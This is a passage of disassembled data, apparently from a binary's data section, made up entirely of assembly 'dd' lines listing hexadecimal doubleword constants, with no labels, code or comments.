		dd 0A10E0407h, 65C0C267h, 0F959DBBh, 0A48AD7E2h, 788B4960h
		dd 0EF0068E7h, 392B8516h, 0E363FFh, 81D2668Fh, 0A5ADC7CEh
		dd 3324840Eh, 3CC523E8h, 53789871h, 55A000FDh, 623EDE3Fh
		dd 4100CE92h, 0D03097BDh, 1F842E9Eh, 83FC73EEh,	0C50C56A4h
		dd 0BA85CBA0h, 0E8707A1Dh, 61098F80h, 3993ED9h,	1497691Ch
		dd 75E004E7h, 2707828Eh, 195FA2E9h, 0D8B01240h,	0E7AA1DFFh
		dd 9BF3C021h, 0EAD57CA5h, 0E7B2306h, 6E88402h, 3C617566h
		dd 0A12A509Fh, 0D6008006h, 7F056F8h, 0F3DEF79h,	21451948h
		dd 2C41F940h, 503E8EBh,	0B6CC1131h, 7B24F88Fh, 44220269h
		dd 4AA9AA6Bh, 7C0070FCh, 0DE6C0317h, 610F00A4h,	0E71F4439h
		dd 0DB0651D6h, 772972C9h, 3153008h, 0E61D3D20h,	0F6B57F26h
		dd 0A37A0900h, 71C1AA93h, 0A9590181h, 0F94B3C10h, 4552D87Dh
		dd 8F43392Eh, 0BC857907h, 399684Ch, 1534CF3Ah, 0F9C94678h
		dd 0CC089868h, 5D3BB21h, 367CBFCFh, 0A647C39Ch,	0BDC343FAh
		dd 5508862h, 0CF661889h, 0D815C811h, 0FF82CD88h, 809CCFDEh
		dd 0C6BCD99Dh, 987F13A7h, 4CDE003Bh, 70A9A3AFh,	760893Ch
		dd 26E727E2h, 741839D6h, 0E90A05Dh, 9C090E2Dh, 0DA007C23h
		dd 0A9A55A20h, 151546E6h, 10A826C4h, 41DFD1D2h,	2B4A64E6h
		dd 0C07C0C8Dh, 0E6036721h, 3001A920h, 0B64BF44Dh, 78802545h
		dd 0B9DF266Bh, 10C020E1h, 23AC338Eh, 0F287057Dh, 80C7D7A5h
		dd 5C446AC3h, 2E3B04FCh, 0A435BD4Ch, 9C00D3BEh,	1DB30AEh
		dd 0D64E00D1h, 132D0A66h, 8E00959Ah, 630FDF73h,	757FB041h
		dd 379200CEh, 348BF4E1h, 0DB39E776h, 0CDA900FEh, 55F9E948h
		dd 0CACC00BAh, 4197CF50h, 8705C719h, 27D80674h,	1434D6C0h
		dd 21C00143h, 0DFD06395h, 6E588367h, 0A01B3152h, 0C05DB56Fh
		dd 7711DB38h, 3A000470h, 18D1458h, 7C3BE87Dh, 67630075h
		dd 0E7827A93h, 0A17937A9h, 292039h, 16838A2Eh, 0B4BF51h
		dd 644887B5h, 496E485h,	0F09BFA00h, 0D3805746h,	0A35F3178h
		dd 83F5C499h, 0CC18F49h, 82F00C67h, 0BD1905E9h,	80B80D6Fh
		dd 5A04CAF2h, 0C3BF01C0h, 3DDC0940h, 14AC60DEh,	4C8A3106h
		dd 3389EA0h, 247C7D22h,	0ECB8B8F5h, 6C0026B5h, 0C4F09D23h
		dd 0EFF6714h, 0FD98D932h, 103486C2h, 0F03B44C1h, 0BF004AE3h
		dd 0D04DDE18h, 75094h, 809D6104h, 74780839h, 92976800h
		dd 0F51765Bh, 62AC1E5Ah, 0D7454015h, 0AD9BA834h, 36DF0E00h
		dd 0F6C6D222h, 270F009Eh, 97E7E9A5h, 0FB0918ECh, 805FC219h
		dd 4FFD1CCAh, 0DFE139B2h, 47828A80h, 2FFF34BCh,	24746903h
		dd 0B0B8E411h, 1C0A3F8Fh, 0C3931E16h, 0F456DA91h, 29B906E8h
		dd 9A007B78h, 38A428DCh, 7DE99D4h, 48FE0A15h, 44400E90h
		dd 677ACA33h, 0C2175000h, 1EF48A4Eh, 804F01D6h,	72116CA9h
		dd 7FEF20C8h, 67E7A700h, 0E39F2CD7h, 8805002Dh,	0F11A3ECBh
		dd 0A67FF84Fh, 0EBFDE200h, 471D7CD5h, 0A8E61CFAh, 74EE8E6Ah
		dd 3ADE0580h, 9800D76Ch, 494826E8h, 0F736EDh, 86D05576h
		dd 0D904080Fh, 8CB75F00h, 0F4195703h, 626B01B2h, 8F866B0h
		dd 2B7FC9D2h, 0ABCD9DA1h, 84BD2990h, 515FB0EFh,	0B41E11A0h
		dd 7F04A121h, 8008F71Dh, 8D270E41h, 13106502h, 4451C852h
		dd 22B5A342h, 0FF22F7A9h, 4382547h, 4A82DB50h, 810814CDh
		dd 82FC904Fh, 46F751Dh,	648C2171h, 14F07994h, 226D8911h
		dd 9D590075h, 0CCF69E91h, 2300394Dh, 0B64FEB79h, 0F978E1h
		dd 1918E3E6h, 3E92C164h, 3B5B0D00h, 1C90A758h, 63C7005Ch
		dd 0A1F07A73h, 553CB40Bh, 0B7CC00BDh, 2507F23Ch, 0CA1A3836h
		dd 8E5FAD00h, 270A87C4h, 80A5AC3Fh, 35B3105Dh, 0BE21C2h
		dd 0AAFDD133h, 94B5A9D6h, 0F2C7B60Fh, 0CBDFC01Eh, 28CA347h
		dd 0BDF5B72Bh, 7EC0016Bh, 0B100D307h, 0D84EE667h, 332852Fh
		dd 61784992h, 4CC0DD44h, 2FB80D1Ah, 7D6E6D0Eh, 4E29606Ch
		dd 0A09D4Bh, 0EA965C23h, 0FD191E22h, 0D6E8FF00h, 4681076Ah
		dd 93AE019Dh, 0CA24CF5Fh, 420C30B4h, 96AAAB00h,	7DE18EF7h
		dd 19B90078h, 0B82B3661h, 0E303696Ah, 530EEA68h, 169800D8h
		dd 3BBDC337h, 0AF29608h, 0B28D300h, 6F02C9CBh, 0DDB700DBh
		dd 0F71FF547h, 6400B9A9h, 2FA8E3A7h, 139AEAh, 0E34299Ch
		dd 21E5D46Dh, 43C3AE4h
		dd 943980D1h, 85A1E1DBh, 0E81900F2h, 7338CCF3h,	0FAE81C78h
		dd 0E2241F00h, 0B151A31Bh, 0FF7900B6h, 0BD93198Eh, 2A1FB7E8h
		dd 704098F8h, 1BD3ACD5h, 0EA133F84h, 4F9CC281h,	0D8D40AD9h
		dd 0A600833Fh, 0F0B2090Eh, 1EFA0338h, 499C67EDh, 0D95E4751h
		dd 964BB500h, 71D7E979h, 8A23007Fh, 0BD59740Ch,	61072140h
		dd 0DB8EDF2Ch, 6BA31D10h, 3EFE7D19h, 5200F2BBh,	0A105EE0Fh
		dd 0D7002A5Ch, 68B8A532h, 6A0DCFh, 9C2D5722h, 1581A705h
		dd 0E6BD0400h, 234CF725h, 6F7D0042h, 4FE2C0E8h,	37076079h
		dd 0FBA9E6DBh, 7E15FE50h, 51690358h, 98B3CEC0h,	0D4ADC498h
		dd 0D66AD000h, 7A12DBCBh, 3D9060h, 0BF6E2B3Fh, 8D0798DDh
		dd 1A356200h, 15F7E896h, 0A3A10069h, 0E2233CEFh, 0B64C815Dh
		dd 0D9CE00BCh, 21395589h, 84124807h, 76785800h,	2E019A38h
		dd 0FE3A5900h, 0DB0F80C9h, 370B1213h, 281440CAh, 2750EADAh
		dd 9B1CED00h, 4017A0A3h, 0D152123Ah, 0EA10071Eh, 5C8D238Ch
		dd 51D0AFDBh, 0B43C4C37h, 0DCE1016Fh, 0A7AA2C66h, 586CE5D8h
		dd 0D1003870h, 3DB2920Ch, 0F13A8812h, 0D6B780CEh, 0FAECF2D0h
		dd 145112CAh, 34AC00B2h, 923D9AF0h, 5E55F8F9h, 0BE284800h
		dd 0A462262Fh, 76F0006Bh, 0CCCE80D1h, 3100C266h, 85813608h
		dd 0FAF5DFh, 0B8E0A9Dh,	8644039Bh, 4918A60Fh, 0A529A097h
		dd 0CD6A0Eh, 0C08F2F4Eh, 0D2315072h, 822D4200h,	0FA076F91h
		dd 0AE670003h, 3C024A01h, 2400E39Eh, 0C350D933h, 25DE04h
		dd 6C889BE2h, 1D19784Ch, 4F8AEB00h, 0F2DCE502h,	526A0FB9h
		dd 0D2A04E92h, 762990C9h, 81A0973Ch, 50B5E9DCh,	37DC01F3h
		dd 7CB1009Eh, 7F842F1Ch, 801D858h, 6A516291h, 0B08170CBh
		dd 0BA849DEh, 80C42052h, 951B1D00h, 0B54A3E58h,	7E1900E0h
		dd 390CA00Ah, 8000B857h, 438230Eh, 25F5C3h, 0C4C24548h
		dd 1E41790Bh, 6AABB11Dh, 0F1FD8500h, 35EE6Fh, 0F53A7B18h
		dd 2DD58081h, 0AA895300h, 0CAE2371Eh, 69A90FF8h, 1C008C5Ah
		dd 3FD876D3h, 0DC5139h,	74490A56h, 0FCAA7186h, 0B4D200B0h
		dd 892C728Eh, 9700A7C1h, 2FFA2C4h, 0F417EAh, 0D73A91BFh
		dd 4E25CA0Fh, 214CE900h, 7CCB8272h, 57D500B3h, 0F3480A98h
		dd 0D603413Ch, 50CC289Bh, 0C04A82CBh, 7593AF4h,	8344C17Dh
		dd 188399AAh, 45B880EFh, 8100F7CBh, 0FE3F5F6Ah,	0B5DF2C0h
		dd 0EFB57BA3h, 0B963ED07h, 0A67E6082h, 9C110848h, 8A00B7F0h
		dd 8D78EF9h, 543EFh, 85E47B70h,	4268D169h, 0DE099A00h
		dd 0B1B389E8h, 0D3A20088h, 0DC207B1Eh, 0C5262684h, 4607F4F3h
		dd 1FA0A634h, 7EE1CD0Ch, 20E80F7Fh, 0EE80FBACh,	1CEC1D97h
		dd 6F272200h, 0A9B758D9h, 0BBF304DCh, 805ECBA0h, 0CA6C43C0h
		dd 0A375260Fh, 5598FED9h, 0DBD818h, 61ECC9DEh, 3101847Bh
		dd 87AF2000h, 0A1664FE8h, 36683D29h, 65787000h,	7B02D49Fh
		dd 2D018B71h, 0A8F5BDCCh, 0B6F4FA12h, 27801209h, 0DE5F0003h
		dd 2AD4B794h, 4A2F3812h, 92048800h, 4800B7Ch, 611C59CAh
		dd 0C9E8805Ch, 70045DEh, 0FCBA6340h, 3A77D332h,	71804705h
		dd 53C6AF39h, 990F248Bh, 0E59AE986h, 89C0BDBFh,	11B7A9h
		dd 263F125Dh, 9AECB2B1h, 233D70Fh, 277B408Dh, 0E41882h
		dd 24104540h, 5D6A851Ah, 84A0B200h, 0FCC89FEFh,	1CFA7B3Ch
		dd 8079D41Dh, 67BF11E9h, 9D002215h, 1E3AFD70h, 1CBD1A6Ch
		dd 0BC2EEAFAh, 724FD400h, 76E2AEC4h, 0BA182000h, 349804DBh
		dd 0EB060082h, 2936ADAh, 0EDEEBFE3h, 83DF563Bh,	8BA32E52h
		dd 0B75C3D60h, 6A1F5C00h, 0FE32E37Eh, 0A7724200h, 442702F2h
		dd 0D4ECF1D7h, 0D88B01E0h, 76A57EDCh, 9D4EF848h, 511FA2EAh
		dd 0EC413009h, 91CE6532h, 3B6B47DCh, 0C1807749h, 6EAB73CCh
		dd 6F00F36Dh, 9953EE63h, 8D1AC3h, 0F089C44Ah, 0F3B82745h
		dd 0B419600h, 14EE0809h, 0DA9000D9h, 475DA030h,	5E00B802h
		dd 0B228F371h, 7A532338h, 0A23C3A8Fh, 977A100h,	95ABE758h
		dd 0F3CE8500h, 1C8BB015h, 67E624h, 4187FD59h, 0CD05E079h
		dd 0BFAE8803h, 0A8A5932Ah, 3CAABD9h, 484067BBh,	8000E186h
		dd 92621DCFh, 430458h, 0CD8A5403h, 6133DDE5h, 3B6EB3Fh
		dd 1AEDF02Ah, 5680BCEEh, 3E492Eh, 0A6102FC0h, 6303C85Fh
		dd 3F889D4Ch, 0FC5796ADh, 644DB100h, 2EDEF960h,	30A127EFh
		dd 81B385Ah, 8905823Fh,	0A3D240Dh, 73003FDFh, 0F081EED9h
		dd 38227F32h, 0F60E1C62h, 5BC086FBh, 756F70E5h,	36EB8800h
		dd 332E405Ah, 64E816h, 85B227Ch, 702C27CEh, 0E500F7E4h
		dd 5D002ADh, 0A7F63Ch, 0C8DE7AFDh, 5B968A33h, 24350A00h
		dd 25F25446h, 74000B3h,	842D45F3h, 64918A30h, 0AA00BE91h
		dd 0B5BC7E79h, 0E0003710h, 60014F1Bh, 0E208A1ACh, 0D4803E9h
		dd 0E7B29B27h, 0D66DD8A8h, 5F62AA00h, 74A2FCC7h, 0A3490063h
		dd 0F7F646A6h, 590038ACh, 0E28F2D3h, 2BB37h, 43FF399Bh
		dd 0ABD79CC1h, 87339200h, 167B7280h, 0A90C0099h, 2C5FB6E3h
		dd 513CA615h, 7454C79h,	0C1BF362Bh, 0B79FB4F0h,	0E7E0098h
		dd 0DE57EEFDh, 1E076EA1h, 45E58938h, 0FA400B00h, 19D33F49h
		dd 7FE9298Eh, 783B7C40h, 1090D85Bh, 60CE4000h, 4AB0D5EEh
		dd 2DCB84Ch, 7CD19F61h,	0D1801739h, 0A8A3BD49h,	0A00E64FEh
		dd 60752AEAh, 0FB24C21Bh, 0E67E0056h, 9990948Ah, 9009B21h
		dd 0E4CA4BA2h, 5BCCBC2h, 51C3D35Dh, 0A9B40066h,	0B3860667h
		dd 97B05000h, 0E7CD1BCCh, 763104E3h, 0C095BA7Ch, 6F1E8C8Bh
		dd 0DA98301h, 1543AF34h, 46BE30h, 6897824h, 5FC25DA3h
		dd 0AD3A3575h, 21E3A40h, 0CC4B8EF1h, 0D050406Ch, 1FCE00E9h
		dd 7E958D39h, 0A8132914h, 0AF03F586h, 0B02F55BAh, 0D53B9Ah
		dd 0BEA14BFFh, 9097289Fh, 75884C00h, 0D26BEBF1h, 0FA7900D3h
		dd 0E8BCDA1Bh, 31074A36h, 0D09A4F10h, 73F36750h, 5DA20077h
		dd 9403944h, 0A3F41449h, 0E30043F6h, 2D1A80C7h,	73867127h
		dd 156F89Ch, 0A469EB89h, 0D493A254h, 9B3872FBh,	18F280DBh
		dd 731B4A75h, 5FAA0038h, 13EC2933h, 1600A61Eh, 7E97127Fh
		dd 0E06BE62Eh, 0B5B40069h, 52642778h, 3E002D10h, 31424C56h
		dd 7BD624h, 813CE60Bh, 7891778Bh, 98204503h, 80223316h
		dd 0D3BE35h, 9DAAA895h,	9F4C3C0Dh, 0C10C3960h, 0E32772Dh
		dd 2A7C4478h, 0B565A680h, 3300C446h, 0DF6173EAh, 973229h
		dd 8B07F0DEh, 0D1EBA413h, 0CD8E6400h, 62D7A036h, 0D072001Ah
		dd 17AC221Eh, 0F30049F6h, 435D69Dh, 1F06C203h, 0DCA12A0Ah
		dd 14EF4043h, 0C6E2364h, 79DF0200h, 0E2594A66h,	443C0320h
		dd 99DC2643h, 83D1538Fh, 2AFC9A90h, 0D0EA3203h,	80444D01h
		dd 3E0820h, 1F24B29Ch, 0CB712C07h, 4E00767Ah, 0BFC6E291h
		dd 25477h, 0E509F659h, 0C7686198h, 9B104E00h, 0E6854249h
		dd 39F9291Eh, 0D64500BCh, 0CAD27B3Dh, 85C65700h, 1A41C7A3h
		dd 519F3DC1h, 1590193h,	89FE8F9Eh, 6D6CE4FBh, 6BF6557Ah
		dd 0BD0020FAh, 67F57C23h, 3C7641Eh, 0F4E9D2DBh,	0DDD8CBB5h
		dd 3A019089h, 9E6294BDh, 0CEC01553h, 749A0E46h,	364D23Ch
		dd 2680AE6Ah, 2A8AD9h, 1141438Fh, 0EEE13C48h, 0A5B0F81Eh
		dd 9A295D40h, 24DBBB55h, 4857E5h, 64523BB4h, 1913A3B5h
		dd 0BC004440h, 329704C6h, 0EB70113h, 78F8F6C7h,	0D8F8EB61h
		dd 5000363Bh, 7F882207h, 554163h, 0B28E40F0h, 0C42116A9h
		dd 4C6BC300h, 0EAE19EE4h
		dd 0B9110B12h, 12001AE5h, 8D173C94h, 0C7C1921Eh, 16C0A11Eh
		dd 0EC15F874h, 1CBD000Dh, 7B98DF26h, 0CD00AFB0h, 857A45C0h
		dd 760CCCh, 5018122h, 0DAEFBFB5h, 75E83C50h, 77983476h
		dd 3F1F1E06h, 0EA882814h, 0E3861F03h, 2F5C008Dh, 9DD9A71h
		dd 0EB66410Ch, 1C7E811h, 0F52E2430h, 50BA5E4Fh,	47E22DCh
		dd 410DA400h, 0F12F806h, 0A89225h, 88BF92DDh, 152F4066h
		dd 0BC97C900h, 8D1BC88Fh, 6D3B00E8h, 0B5F6CE9Eh, 2B01D60Fh
		dd 46F42EFBh, 1A30CC57h, 86FF3E7Bh, 80883700h, 0C5515614h
		dd 329CEC00h, 72F29AACh, 0B462001Fh, 0B5FB041Ah, 64000A14h
		dd 0C28DBE9Ch, 23F4773h, 8A6A5042h, 86615D10h, 3358814Dh
		dd 30C54A25h, 7E552F0h,	31E191B6h, 0A9DAD706h, 0C75DBC0Fh
		dd 9097053Ch, 0B2D162FDh, 0C87C2D26h, 0E9448F05h, 3E09C052h
		dd 342F71h, 3208BE0Fh, 4D070101h, 9DE6142h, 11032091h
		dd 7E52AB00h, 590F49F4h, 6A780045h, 39368738h, 5400AA1Ah
		dd 3E97A690h, 0FC3D93C7h, 5B3100FBh, 0CD685825h, 8D001F73h
		dd 30D4DE03h, 584E6FA9h, 17009059h, 0A212F6D2h,	18078062h
		dd 0E018D07h, 6758ED10h, 605B0047h, 0B9DA2278h,	0B003E346h
		dd 0FE3D3EEFh, 5F4F88DCh, 7D7F01F9h, 87E5D0C5h,	209C61BDh
		dd 14799614h, 8C89A300h, 27F33AC1h, 0F6AD2492h,	357C8F04h
		dd 12F05F00h, 42006109h, 0A3F8368Ch, 3D345F6h, 0AF992EB4h
		dd 0ECE0549Fh, 9B14795Fh, 80B00571h, 61C8F52Bh,	1F50C0BFh
		dd 0EBEF2981h, 76DC9300h, 0AEA5047h, 4AB8A1E6h,	0F687A5D0h
		dd 347D4CC6h, 592DBB00h, 0FDB80419h, 808B553Fh,	1C7CAAD9h
		dd 601725h, 0B479E80h, 6EA477CFh, 0CC8E58h, 38BF6FADh
		dd 3FF692B8h, 0FF8091E6h, 803C49F9h, 9500F2A7h,	83F0CAB1h
		dd 6C02EFEh, 9D4F34E5h,	0A316787Eh, 0D0A8E62Dh,	99C8070Ch
		dd 0C900F1A0h, 2FF775B2h, 3B112005h, 0D10CD5E5h, 0FDE0F096h
		dd 9403C673h, 1FFBE4EBh, 0D10AE0D4h, 0C9E1131Ah, 4A0001FAh
		dd 0C8CB9511h, 91292CA9h, 6180D037h, 1013DE24h,	0AF9E0FC9h
		dd 40DF405Ah, 0C3A07BDAh, 0B7003FC7h, 0C5A59A32h, 83221Bh
		dd 8DD18AD2h, 2CE458ABh, 3F0E941Fh, 20B8B4C0h, 30C1BD4h
		dd 346F0BEFh, 84F86552h, 4177404Fh, 0F89E9900h,	6A7B3296h
		dd 8AFE2864h, 0EB98BBh,	0E613265Eh, 5F59856Fh, 0DD7880A0h
		dd 9D4E8F00h, 0B82E0227h, 0E654004Ch, 473B6BA4h, 2C0779C2h
		dd 0CAE21CFEh, 2F3C9500h, 78074DB3h, 92A43200h,	4B7E60C4h
		dd 80CD5700h, 0BA856340h, 537400ABh, 332A2E83h,	584CDFACh
		dd 80392686h, 0C78D2000h, 1CEDDF1h, 81FE521Dh, 7AF03364h
		dd 7DEFF0h, 0DF08D87Eh,	14A23AB0h, 0BA0A671Ch, 0F43F5D00h
		dd 7F3EC064h, 1DF9FAAAh, 0C7C75E0Fh, 0D1DDD9E7h, 0D431548Ah
		dd 77F6C2A5h, 0CADC9E00h, 0F35B08C8h, 3C1226A9h, 2FB60F44h
		dd 693479A2h, 48C8F8C3h, 0FF043870h, 4A87C28Ch,	0A806BDC0h
		dd 0D6D00037h, 0ECC77B27h, 9D75C0FFh, 4E0E0A01h, 3D0F5183h
		dd 0A47860E6h, 77347E4h, 3337C4Eh, 8AE8280h, 0EA5F0F69h
		dd 0CB004C77h, 0FE3978D2h, 0E33D1500h, 9FB73437h, 4A2D0F41h
		dd 0F1C3A03Ch, 3AA0B288h, 6E260C06h, 35087C0Fh,	0DF03780Eh
		dd 6364FB00h, 8578A868h, 0CDCF0E92h, 0FFFD5Dh, 0D6E17DA4h
		dd 9500B0F2h, 513E1E2Ah, 15BAD1Ah, 3B069617h, 210B9EEEh
		dd 0AFF000E3h, 34EAB4BEh, 7CB5DD00h, 3FE6E401h,	0BFF064h
		dd 9CE3195h, 0F2DA71CFh, 2BA70D00h, 766AB18Dh, 0C140389Fh
		dd 17075058h, 2003B666h, 0B5EB973h, 0CCFF59h, 4B1D7504h
		dd 3DE00Ch, 1176AB1Ch, 6B541E73h, 5697D52Dh, 21720EA9h
		dd 2B81565h, 0F60EBDC3h, 0F8CBC440h, 0C1C25E00h, 0B902A57Dh
		dd 1EF492DAh, 8090EA53h, 0AD14CA85h, 25EA6808h,	100775FCh
		dd 3F06F209h, 32B0C0AEh, 7686A84Ah, 3E2A178Eh, 0FFFD0FE1h
		dd 70504CA0h, 8C0949B6h, 7EB5163h, 0F559E964h, 0EC6BE201h
		dd 1AD8F8E3h, 0E6CD7D18h, 2E15D020h, 1E01B46h, 0F338C359h
		dd 301FC9D8h, 0BE59324Ch, 0F8AC00D8h, 37C46A16h, 0BF76F1h
		dd 51E123CCh, 856BC9Eh,	483E60B8h, 0A26D00C7h, 58C6F26Fh
		dd 0F549C0AAh, 0D9EB9D09h, 940030BAh, 1EC4D161h, 8BBD36h
		dd 8401C8A0h, 0EEC2D320h, 28952316h, 0EF117C00h, 18AC0E31h
		dd 90881D74h, 80FA17D6h, 0AA49C500h, 433F893Dh,	0FB970E18h
		dd 0E280269Fh, 88D93187h, 24705961h, 2FE59391h,	675A1180h
		dd 22B981ACh, 78920F0Eh, 4CA0C012h, 6154F3h, 3A972CF0h
		dd 3FA875Eh, 0C07F1600h, 1913A8F8h, 0A68900D2h,	1BF302CAh
		dd 0EC00E811h, 7FAF0A76h, 4C9DBE78h, 0B3B681Dh,	2462B800h
		dd 0D49034D5h, 58852700h, 0E2991AEEh, 0A8413D67h, 733FEF80h
		dd 0F70F03A0h, 0ADAAA61Ch, 67162640h, 326007h, 362F47D8h
		dd 0EC240DE5h, 5973A800h, 0B52253F4h, 3BDCB0DCh, 6D80D966h
		dd 0CEB445D2h, 6F009631h, 0F3BC85FAh, 75A4DC13h, 9C5D0093h
		dd 0B6DEAF27h, 53002947h, 0B3546CF0h, 1E697B76h, 0DD819409h
		dd 13950FDh, 0D9118FFAh, 15F49963h, 5AC40721h, 718DE83Eh
		dd 0D43A3112h, 0B5000582h, 1AC3D658h, 0FB7E4Ah,	5B148536h
		dd 0E751E09Bh, 0B8D2AD04h, 38807728h, 0F08A7h, 4B0C023h
		dd 0B332AE61h, 0E25085FCh, 3B07A291h, 427B45B4h, 0AEE11D10h
		dd 8DD268Ch, 0B3EC0191h, 61410A96h, 723450B1h, 0FB00A15Ah
		dd 0E30ED99Bh, 73480DC1h, 37498C9h, 0F4BAD8E5h,	81D0EAFDh
		dd 0C00A385h, 0D3679C32h, 17A836A7h, 0D78051h, 5A66BDFCh
		dd 67E576Fh, 9B20DC18h,	241505B4h, 1F571BF2h, 0F078B7E5h
		dd 4150F1ECh, 5D556A00h, 76B78FA8h, 5902249Bh, 0C0391F7Dh
		dd 83CED5B3h, 3F0047A0h, 0B871A323h, 71A5DBAh, 9FEB2130h
		dd 6AFA1052h, 0A2281ED4h, 12E494C3h, 665B2600h,	0AE0A89CAh
		dd 0B7B8AAh, 0ECABE325h, 7D4C5385h, 0F91E2FB0h,	4DC09D77h
		dd 6BADD419h, 311F17F4h, 0D74A0E9Bh, 8CD33683h,	0A0995CD8h
		dd 32275000h, 3BFF806h,	3A59009Eh, 40EB4976h, 0E2CC3BBh
		dd 0F001CA2h, 817D5DEDh, 426A014Ch, 984522A5h, 27EE3058h
		dd 0F14BDF0Ah, 2C00B403h, 34831A84h, 1D5CB012h,	0C0FA8AAEh
		dd 0E3516BA9h, 17503FB3h, 0EC02759Ch, 1996D2E8h, 184505Ch
		dd 57F0733h, 0CCA84C85h, 6701686Dh, 5BB89BEFh, 6870201Ah
		dd 71D00074h, 4C5232FDh, 0B007042h, 78BD859Bh, 3D4111B8h
		dd 0CA8C6561h, 0AA589D2Ah, 0DE13067Dh, 1000448Ah, 0A2AD909Ah
		dd 784B004Fh, 0FF09C0D3h, 0EF0FBD33h, 80CAE304h, 20BFCF9Dh
		dd 0BB40082h, 25F783AAh, 0C500B508h, 0A65558C2h, 46C400Eh
		dd 0D5A9D3D7h, 4F19C0F1h, 6400BA7Eh, 44E4BB5Ah,	0A088E51Eh
		dd 2625A4h, 95794C24h, 20726C46h, 82B49860h, 0B2AC06h
		dd 32CCA3ABh, 11358019h, 6A9F7200h, 0B1CAD1E3h,	4FBA003Dh
		dd 818423C8h, 0E779BD9h, 83C2820Fh, 0BA1DA03Ah,	0F2852810h
		dd 693300F8h, 8024A2AAh, 6AFE46FEh, 7A009AE2h, 0E80C5231h
		dd 485B2DC6h, 858E9C9Fh, 0A0435109h, 3E8D1CF8h,	29866900h
		dd 7F0DA22Fh, 78910F6Eh, 636FB5F6h, 3BF439E0h, 2300D2C4h
		dd 0FEF18CDFh, 17B3B204h, 25B5206h, 96D80340h, 63DA1800h
		dd 6549017Eh, 2F678608h, 2C5Eh,	0F003834Ch, 70C702D6h
		dd 0F7420054h, 0B44E7EE9h, 0B81FC4F9h, 5F40CC30h, 0AB233572h
		dd 947C9CB0h, 8600E02Ch
		dd 18F8F541h, 766016ECh, 3171EFA8h, 75C503E4h, 0AEB62670h
		dd 7CBF5FE0h, 73AA8700h, 9B4D3876h, 67B40074h, 4B7F0C6Eh
		dd 0B12A48DFh, 7313C411h, 0E8007520h, 614CCE51h, 0BC98D9h
		dd 79EF6D4Ah, 0DA8F3918h, 0CA000472h, 0C0B069C5h, 99261Ah
		dd 104FDF60h, 0AB1DD6E6h, 9368CE00h, 0E9A024C7h, 0F63800B1h
		dd 5840873Dh, 0F4404E41h, 0BE3B008Eh, 7BAB8DD8h, 1E001FADh
		dd 6965BBA9h, 4E43E47Ch, 26EC0EC2h, 6F00582Fh, 42A23F9Ah
		dd 935E6200h, 752EB9EAh, 0D78C0299h, 58604A40h,	20389841h
		dd 1900DC18h, 0AB1EC99Eh, 583336CCh, 30990E2h, 0C8C0B01Ch
		dd 87038489h, 0CEA40935h, 82F0900Eh, 4E970344h,	28BA0678h
		dd 0E9A23202h, 0C05456ACh, 1F9C207h, 7493ADC1h,	0C5732153h
		dd 31AE40C8h, 0D07CD5Bh, 0A5A804EEh, 1888005Eh,	768E7FBh
		dd 0A3F67D92h, 27853Dh,	3EC901C8h, 1A005933h, 75D34786h
		dd 0BC17A5h, 0FF03A46Ch, 372BF508h, 0AE0186FCh,	0E8BD6BA1h
		dd 832A68A6h, 8BD089F4h, 0DB01B702h, 0CA36600Fh, 0A8684D50h
		dd 3A00964Ch, 0CD173873h, 4831A3F1h, 0D4AD288Bh, 0CFE5C60h
		dd 2C71AB9Ch, 6F2A990h,	5F11080Bh, 0E7200088h, 0D066CCDAh
		dd 4800A5CAh, 0BA46BC70h, 0AC004E03h, 0B6536D0Ah, 0C98F4Ch
		dd 630FB89Ah, 1CDB218Dh, 0E498E900h, 7684407Eh,	0ADE483h
		dd 0D687EEEFh, 585FFC6Dh, 0A1780200h, 0DE2F70FDh, 5BAC00AEh
		dd 68C74BD8h, 9E1E45DDh, 0E0409C27h, 6AAE7CDFh,	0A7F503CFh
		dd 81CC68D2h, 5F6522A8h, 0AB0BA50Fh, 4123E0C6h,	74A9B9h
		dd 4AC0CD9Bh, 0CCC1DEEh, 0E403207Ch, 8C6189Ah, 7A86E082h
		dd 5B17004Fh, 0E6B87BF7h, 0BE002AE9h, 0A138AD50h, 111AC5Ch
		dd 0E174792Fh, 0C013C39Ch, 9A0FE856h, 4051C9E5h, 2F1E656Fh
		dd 19E33DD9h, 6366F100h, 0C5EF3F4Fh, 40493E00h,	0D670E907h
		dd 0F6440115h, 0F13B7AFCh, 0EF507052h, 0E190B274h, 3619CF00h
		dd 5BF8E948h, 910200A3h, 0F2D130EAh, 8000529Ch,	0B0CFCE90h
		dd 92295Ch, 0FA4B7E12h,	0BBF6D1Ch, 83D6B800h, 33550E5Bh
		dd 30584C7Ch, 8123B107h, 74166218h, 68E88A60h, 0A59039h
		dd 97710EB9h, 851BE0h, 3320DFE4h, 9E4AE889h, 2B1FC100h
		dd 0A1AD93EBh, 79B62E21h, 0ECFE00ACh, 0DEAADB67h, 947AF405h
		dd 30C0778Fh, 406A274Eh, 7B00FAD0h, 0E38CC092h,	2820CCB5h
		dd 1CCCBC50h, 80B77D32h, 0EEBF0CE2h, 3898DEEBh,	0C0349702h
		dd 0C01DA73Dh, 55DC94h,	0F2E0BD3Ah, 3B1B2103h, 0E4F7B900h
		dd 54E96B79h, 8C9808h, 43E5DE5Eh, 0D3D6B650h, 47A1C21Eh
		dd 0CF0912C0h, 5D15AA1Dh, 0FD00A4B0h, 175593CEh, 0B80F35E6h
		dd 809D5BD7h, 0AE94333h, 1D1815FEh, 0A020181Bh,	74A1E740h
		dd 23A90777h, 8C88DF6Ah, 1C50AA18h, 3300C018h, 0CB30FAF1h
		dd 59580992h, 17710DFh,	0A5B90498h, 0FC34DC4Fh,	11C105D0h
		dd 0F823D8A4h, 123BD0CBh, 0C4FE181Fh, 0A8173892h, 0E33148A8h
		dd 2853DD14h, 0B855B758h, 34C71C1Fh, 96B01ED0h,	971147h
		dd 0D565F812h, 0C729E667h, 5C178B0Fh, 0B2CE005Dh, 77CD88Fh
		dd 0C2EFA1C5h, 1C000BABh, 0A4E57812h, 9C00797Bh, 0FD9E6569h
		dd 17E8ED5h, 0C34D7E1h,	7B800998h, 70919380h, 79BF00AAh
		dd 0FE544969h, 5F00B28Eh, 7445B7C6h, 0F90AFDh, 19D3286h
		dd 0C1CD557Eh, 50276F00h, 898B2BE4h, 0C33B0053h, 0FCA5E306h
		dd 0E53C492Ch, 9A440021h, 0BAD75C1Bh, 3701124Ch, 4B1C0098h
		dd 0D4669E0h, 6B423F00h, 0EFAD5E5h, 269C1502h, 300A889Dh
		dd 694A877h, 0F0AB80BAh, 1B4923Dh, 0F07FAC73h, 30C1B33Ah
